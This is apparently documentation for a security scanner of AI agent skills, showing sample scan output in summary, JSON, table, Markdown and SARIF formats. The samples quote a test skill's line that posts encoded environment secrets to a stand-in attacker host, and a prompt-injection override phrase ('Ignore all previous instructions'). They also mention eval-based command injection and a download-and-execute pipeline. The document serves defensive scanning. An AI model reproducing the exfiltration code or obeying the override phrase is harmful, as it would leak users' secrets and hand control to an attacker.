Output Formats

Output Formats

Skill Scanner supports six output formats. Use --format to select one and --output/-o to write to a file.

Choosing a Format

Format Reference

Sample Output

Summary (default)

$ skill-scanner scan evals/skills/data-exfiltration/environment-secrets
============================================================
Skill: environment-secrets-exfiltrator
============================================================
Status: [FAIL] ISSUES FOUND
Max Severity: CRITICAL
Total Findings: 5
Scan Duration: 0.13s

Findings Summary:
  CRITICAL: 1
      HIGH: 0
    MEDIUM: 4
       LOW: 0
      INFO: 0

A clean skill shows:

$ skill-scanner scan evals/skills/safe-skills/simple-math
============================================================
Skill: simple-math
============================================================
Status: [OK] SAFE
Max Severity: SAFE
Total Findings: 0
Scan Duration: 0.12s

JSON

skill-scanner scan evals/skills/data-exfiltration/environment-secrets --format json

{
  "skill_name": "environment-secrets-exfiltrator",
  "skill_path": "/path/to/skill",
  "is_safe": false,
  "max_severity": "CRITICAL",
  "findings_count": 5,
  "findings": [
    {
      "id": "DATA_EXFIL_HTTP_POST_d854dba1dc",
      "rule_id": "DATA_EXFIL_HTTP_POST",
      "category": "data_exfiltration",
      "severity": "CRITICAL",
      "title": "HTTP POST request that may send data externally",
      "description": "Pattern detected: requests.post(\"https://attacker",
      "file_path": "get_info.py",
      "line_number": 56,
      "snippet": "requests.post(\"https://attacker.example.com/secrets\", json={\"data\": encoded}, timeout=5)",
      "remediation": "Review all POST requests. Ensure they don't send sensitive data",
      "analyzer": "static",
      "metadata": {
        "matched_pattern": "...",
        "aitech": "AITech-8.2",
        "aitech_name": "Data Exfiltration / Exposure"
      }
    }
  ],
  "scan_duration_seconds": 0.13,
  "duration_ms": 127,
  "analyzers_used": ["static_analyzer", "bytecode", "pipeline"],
  "timestamp": "2026-02-19T21:58:33.032573",
  "scan_metadata": {
    "policy_name": "default",
    "policy_version": "1.0",
    "policy_preset_base": "balanced",
    "policy_fingerprint_sha256": "45b486..."
  }
}

Use --compact to remove pretty-printing for machine pipelines.

Table

$ skill-scanner scan evals/skills/command-injection/eval-execution --format table
================================================================================
Agent Skill Security Scan: safe-calculator
================================================================================

+----------------+---------------------+
| Skill          | safe-calculator     |
+----------------+---------------------+
| Status         | [FAIL] ISSUES FOUND |
+----------------+---------------------+
| Max Severity   | CRITICAL            |
+----------------+---------------------+
| Total Findings | 5                   |
+----------------+---------------------+
| Scan Duration  | 0.13s               |
+----------------+---------------------+

Findings by Severity:
+----------+-------+
| Severity | Count |
+==========+=======+
| Critical |     5 |
+----------+-------+
| High     |     0 |
+----------+-------+
| Medium   |     0 |
+----------+-------+
| Low      |     0 |
+----------+-------+
| Info     |     0 |
+----------+-------+

Detailed Findings:
+----------+-------------------+---------------------------------------------+-----------------+
| Severity | Category          | Title                                       | Location        |
+==========+===================+=============================================+=================+
| CRITICAL | command_injection | Dangerous code execution functions that ... | calculate.py:18 |
+----------+-------------------+---------------------------------------------+-----------------+
| CRITICAL | command_injection | Dangerous code execution functions that ... | calculate.py:24 |
+----------+-------------------+---------------------------------------------+-----------------+

Markdown

$ skill-scanner scan evals/skills/prompt-injection/jailbreak-override --format markdown
# Agent Skill Security Scan Report

**Skill:** jailbreak-override
**Status:** [FAIL] ISSUES FOUND
**Max Severity:** CRITICAL
**Scan Duration:** 0.12s

## Summary

- **Total Findings:** 1
- **Critical:** 1
- **High:** 0

## Findings

### CRITICAL Severity

#### [CRITICAL] PROMPT INJECTION detected by YARA

**Severity:** CRITICAL
**Category:** prompt_injection
**Rule ID:** YARA_prompt_injection_generic
**Location:** SKILL.md:9

**Description:** Detects prompt strings used to override or force malicious
tool calls: Ignore all previous instructions

## Analyzers

The following analyzers were used:

- static_analyzer
- bytecode
- pipeline

Use --detailed to include full evidence in Markdown output.

SARIF

skill-scanner scan evals/skills/obfuscation/base64-payload --format sarif -o results.sarif

{
  "$schema": "https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json",
  "version": "2.1.0",
  "runs": [{
    "tool": {
      "driver": {
        "name": "skill-scanner",
        "version": "1.0.0",
        "informationUri": "https://github.com/cisco-ai-defense/skill-scanner",
        "rules": [{
          "id": "PIPELINE_TAINT_FLOW",
          "name": "Pipeline Taint Flow",
          "shortDescription": { "text": "Dangerous data flow in command pipeline" },
          "defaultConfiguration": { "level": "error" },
          "properties": { "category": "command_injection", "severity": "HIGH" }
        }]
      }
    },
    "results": [{
      "ruleId": "PIPELINE_TAINT_FLOW",
      "level": "error",
      "message": { "text": "Pipeline downloads data from the network and executes it..." },
      "locations": [{
        "physicalLocation": {
          "artifactLocation": { "uri": "process.py" },
          "region": { "startLine": 1 }
        }
      }]
    }]
  }]
}

Reporters

The summary format is the default and is implemented directly in the CLI (skill_scanner/cli/cli.py) rather than as a standalone reporter module. The remaining five formats each have a dedicated reporter class:

• json_reporter.py
• markdown_reporter.py
• table_reporter.py
• sarif_reporter.py
• html_reporter.py

Practical Notes

• Use --compact with JSON for machine pipelines.
• Use --detailed with Markdown for deep triage output.
• Use --fail-on-findings with SARIF or JSON in CI gates.
• Use --output/-o to write to a file; omit to print to stdout.